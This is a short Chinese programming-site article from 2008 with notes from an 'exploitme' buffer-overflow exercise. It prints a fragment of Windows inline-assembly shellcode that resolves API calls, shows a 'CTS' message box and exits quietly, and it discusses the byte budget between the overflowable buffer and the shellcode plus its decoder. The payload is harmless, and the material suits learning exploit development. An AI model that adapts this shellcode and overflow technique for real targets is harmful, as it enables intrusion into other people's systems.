首页 > 新闻系统 > 编程天地 > 文章正文

shellcode之小小琢磨

2008-04-16 10:06:06 来源:中国自学编程网 作者:佚名 点击:
本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。

    _emit ’2’
    _emit ’.’
    _emit ’d’
    _emit ’l’
    _emit ’l’
    _emit 0
l1:
    call uLoadLibrary
    mov uLibHandle,eax
    call l2
    _emit ’M’   
    _emit ’e’
    _emit ’s’
    _emit ’s’
    _emit ’a’
    _emit ’g’
    _emit ’e’
    _emit ’B’
    _emit ’o’
    _emit ’x’
    _emit ’A’
    _emit 0
l2:
    push uLibHandle
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit ’C’   
    _emit ’T’
    _emit ’S’
    _emit 0
l3:
    call l4
    _emit ’A’
    _emit ’n’
    _emit ’C’
    _emit ’u’
    _emit ’i’
    _emit 0
l4:
    push NULL
    call eax  
    call l5      //我添加的安静退出程序的代码 ①开始
    _emit ’E’       //调用ExitProcess
    _emit ’x’
    _emit ’i’
    _emit ’t’
    _emit ’P’
    _emit ’r’
    _emit ’o’
    _emit ’c’
    _emit ’e’
    _emit ’s’
    _emit ’s’
    _emit 0
l5:
    push uLibHandle
    call uGetProcAddress
    push NULL
    call eax      //①结束

    ///////////////////////////      //shellcode结束标记,方便截取shellcode
    //signature of ShellcodeEnd
    _emit ’S’   
    _emit ’h’
    _emit ’e’
    _emit ’l’
    _emit ’l’
    _emit ’c’
    _emit ’o’
    _emit ’d’
    _emit ’e’
    _emit ’E’
    _emit ’n’
    _emit ’d’
    //////////////////////////////
  }

其中红色的代码是我做的修改。
修改的目的是显示标题为CTS,内容为CTS.AnCui的消息框,并且安静退出程序(ExitProcess)。

但是这个时候问题来了,缓冲区总长度为512个字节,可利用的长度为(512-200-4)=308个字节。
而shellcode和解密部分的加起来要有333个字节,不够了!!!
9 7 3 1 2 3 4 5 6 4 8 :

相关文章:

    无相关新闻
    无相关新闻

精彩推荐
焦点大图推荐
本类热门文章

论坛美图

广告联系 | 版权说明 | 意见建议 | 加入收藏 | 军网站群 [ 军软件园 - 军软件商城 - 军软件园论坛 ]

电信与信息服务业务经营许可证:京ICP证050203